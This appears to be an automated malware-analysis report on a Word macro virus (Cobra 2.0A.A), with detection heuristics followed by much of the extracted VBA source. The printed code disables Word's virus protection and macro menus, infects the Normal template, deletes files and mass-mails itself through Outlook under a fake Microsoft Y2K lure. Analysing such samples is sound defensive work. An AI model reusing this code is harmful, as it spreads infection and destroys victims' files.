MALICIOUS
320
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The file contains legacy WordBasic and VBA macros, including an AutoOpen macro, which is a common technique for initial execution. The VBA code attempts to write specific values to the 'RegisteredOwner' and 'RegisteredOrganization' registry keys, likely to establish persistence or track infected systems. The ClamAV detection of 'Doc.Trojan.Cobra-12' and 'Win.Worm.VBS-213' further supports its malicious nature.
Heuristics 7
-
ClamAV: Doc.Trojan.Cobra-12 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Cobra-12
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4770 bytes |
SHA-256: 96c12457c98c756302fd02b0afe5b2d208b1f5607ae6342e813e43108be50013 |
|||
|
Detection
ClamAV:
Win.Worm.VBS-213
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Cobra_20A_A"
'Cobra Version 2.0A.A
Public Const TA = "Cobra"
Public Const TK = "List"
Sub RegEdit()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOwner") <> "LITON VS Cobra" Or _
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOrganization") <> "349,(PA12A19H2AG)/DHK/BD" Then
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "LITON VS Cobra"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOrganization") = "349,(PA12A19H2AG)/DHK/BD"
End If
For Each doc In Documents
Call WriteReg(doc.FullName)
Next
End Sub
Sub WriteReg(OpenDoc)
On Error Resume Next
Dim X As Integer
Dim SF As String, SK As String
For X = 500 To 1 Step -1
SK = "Doc" & X: SF = GetSetting(TA, TK, SK)
If SF <> "" Then: SK = "Doc" & (X + 1): SaveSetting TA, TK, SK, SF
Next X
SaveSetting TA, TK, "Doc1", OpenDoc
End Sub
Sub GetReg()
On Error Resume Next
Dim i As Integer
Dim vF As Variant
vF = GetAllSettings(TA, TK)
Num = 0
For i = 0 To UBound(vF, 1): Num = Num + 1: Next i
If Num > 15 Then
Num = 0
For i = 0 To UBound(vF, 1)
Num = Num + 1
If Num < 10 Then
Kill vF(i, 1)
End If
DeleteSetting TA, TK, "Doc" & (i + 1)
Next i
End If
End Sub
Sub AutoOpen()
On Error Resume Next
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls("Macro").Visible = False
CommandBars("Tools").Controls("Macro").Delete
CommandBars("View").Controls("Toolbars").Enabled = False
CommandBars("View").Controls("Toolbars").Visible = False
CommandBars("View").Controls("Toolbars").Delete
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Call MacCopy: Call RegEdit: Call GetReg
End Sub
Sub SendMail()
On Error Resume Next
Dim udoC, dmnC, buosC
Set udoC = CreateObject("Outlook.Application")
Set dmnC = udoC.GetNameSpace("MAPI")
dmnC.Logon "profile", "password"
For lC = 1 To dmnC.AddressLists.Count
Set abC = dmnC.AddressLists(lC)
iC = 1
Set buosC = udoC.CreateItem(0)
For tC = 1 To abC.AddressEntries.Count
oC = abC.AddressEntries(iC)
buosC.Recipients.Add oC
iC = iC + 1
Next tC
buosC.Subject = "Important message about Y2000 from Microsoft Corp. via " _
& Application.UserName
buosC.Body = "Important documment;-"
buosC.Attachments.Add ActiveDocument.FullName
buosC.Send
oC = ""
Next lC
dmn.LogOff
End Sub
Sub AutoClose()
Call MacCopy: Call RegEdit: Call GetReg: Call SendMail
End Sub
Sub MacCopy()
On Error Resume Next
Set AD = ActiveDocument
Set NT = NormalTemplate
ac = False: nc = False
For i = 1 To NT.VBProject.VBComponents.Count
If NT.VBProject.VBComponents(i).Name <> "ThisDocument" And _
NT.VBProject.VBComponents(i).Name <> "Cobra_20A_A" Then
Application.OrganizerDelete Source:=NT.FullName, _
Name:=NT.VBProject.VBComponents(i).Name, _
Object:=wdOrganizerObjectProjectItems
End If
Next
For i = 1 To AD.VBProject.VBComponents.Count
If AD.VBProject.VBComponents(i).Name <> "ThisDocument" And _
AD.VBProject.VBComponents(i).Name <> "Reference to Normal" And _
AD.VBProject.VBComponents(i).Name <> "Cobra_20A_A" Then
Application.OrganizerDelete Source:=AD.FullName, _
Name:=AD.VBProject.VBComponents(i).Name, _
Object:=wdOrganizerObjectProjectItems
End If
Next
For i = 1 To AD.VBProject.VBComponents.Count
If AD.VBProject.VBComponents(i).Name = "Cobra_20A_A" Then
ac = True
End If
Next
For i = 1 To NT.VBProject.VBComponents.Count
If NT.VBProject.VBComponents(i).Name = "Cobra_20A_A" Then
nc = True
End If
Next
If ac = True And nc = False Then
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.